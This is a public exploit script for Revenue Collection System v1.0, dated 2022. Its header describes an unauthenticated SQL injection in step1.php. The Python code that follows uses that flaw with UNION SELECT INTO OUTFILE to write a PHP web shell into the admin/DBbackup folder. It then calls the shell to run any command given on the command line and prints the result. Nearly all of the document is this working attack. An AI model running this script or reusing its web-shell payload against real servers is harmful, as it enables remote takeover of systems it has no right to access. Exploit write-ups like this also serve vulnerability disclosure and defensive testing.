Revenue Collection System v1.0 - Remote Code Execution (RCE)

# Exploit Title: Revenue Collection System v1.0 - Remote Code Execution (RCE)
# Exploit Author: Joe Pollock
# Date: November 16, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
#   Revenue Collection System v1.0 suffers from an unauthenticated SQL Injection Vulnerability, in step1.php, allowing remote attackers to 
#   write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory.
#   This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.
#   Ex: python3 rcsv1.py 10.10.14.2 "ls"

import sys, requests
def main():
	if len(sys.argv) != 3:
		print("(+) usage: %s <target> <cmd>" % sys.argv[0])
		print('(+) eg: %s 192.168.121.103 "ls"'  % sys.argv[0])
		sys.exit(-1)

	targetIP = sys.argv[1]
	cmd = sys.argv[2]
	s = requests.Session()
	
	# Define obscure filename and command parameter to limit exposure and usage of the RCE.
	FILENAME = "youcantfindme.php"
	CMDVAR = "ohno"
	
	# Define the SQL injection string
	sqli = """'+UNION+SELECT+"<?php+echo+shell_exec($_GET['%s']);?>","","","","","","","","","","","","","","","",""+INTO+OUTFILE+'/var/www/html/rates/admin/DBbackup/%s'--+-""" % (CMDVAR,FILENAME)
	
	# Write the PHP file to disk using the SQL injection vulnerability
	url1 = "http://%s/rates/index.php?page=step1&proId=%s" % (targetIP,sqli)
	r1 = s.get(url1)
	
	# Execute the user defined command and display the result
	url2 = "http://%s/rates/admin/DBbackup/%s?%s=%s" % (targetIP,FILENAME,CMDVAR,cmd)
	r2 = s.get(url2)
	print(r2.text)
	
if __name__ == '__main__':
	main()